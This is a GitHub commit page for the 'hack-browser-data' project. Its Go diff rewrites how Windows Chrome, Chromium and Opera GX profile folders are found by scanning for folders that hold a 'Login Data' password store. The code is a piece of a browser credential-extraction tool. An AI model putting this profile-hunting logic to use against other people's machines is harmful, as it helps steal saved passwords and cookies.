Merge pull request #138 from Amir-78/master

Profile folder for Chrome and OperaGx fixed for windows
pull/143/head
ᴍᴏᴏɴD4ʀᴋ 3 years ago committed by GitHub
commit 0cde56c6e6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
  1. 53
      internal/browser/browser_windows.go

@ -4,6 +4,8 @@ package browser
import ( import (
"hack-browser-data/internal/item" "hack-browser-data/internal/item"
"io/ioutil"
"os"
) )
var ( var (
@ -15,7 +17,7 @@ var (
}{ }{
"chrome": { "chrome": {
name: chromeName, name: chromeName,
profilePath: chromeProfilePath, profilePath: getProfiles(chromeUserDataPath)[0],
items: item.DefaultChromium, items: item.DefaultChromium,
}, },
"edge": { "edge": {
@ -25,12 +27,12 @@ var (
}, },
"chromium": { "chromium": {
name: chromiumName, name: chromiumName,
profilePath: chromiumProfilePath, profilePath: getProfiles(chromiumUserDataPath)[0],
items: item.DefaultChromium, items: item.DefaultChromium,
}, },
"chrome-beta": { "chrome-beta": {
name: chromeBetaName, name: chromeBetaName,
profilePath: chromeBetaProfilePath, profilePath: getProfiles(chromeBetaUserDataPath)[0],
items: item.DefaultChromium, items: item.DefaultChromium,
}, },
"opera": { "opera": {
@ -88,19 +90,40 @@ var (
} }
) )
func getProfiles(userDataPath string) []string {
var res []string
files, err := ioutil.ReadDir(userDataPath)
if err != nil {
res = append(res, userDataPath+"Default")
}
for _, f := range files {
if f.IsDir() && f.Name() != "System Profile" {
var thisPath = userDataPath + f.Name()
_, err := os.Stat(thisPath + "/Login Data")
if err == nil {
res = append(res, userDataPath+f.Name())
}
}
}
return res
}
var ( var (
chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/" chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/"
chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/" chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/"
chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/Default/" chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/"
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/" edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/" braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/" speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/" qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/" operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/"
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/Default/" operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/" vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/" coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/" yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/" firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
) )

Loading…
Cancel
Save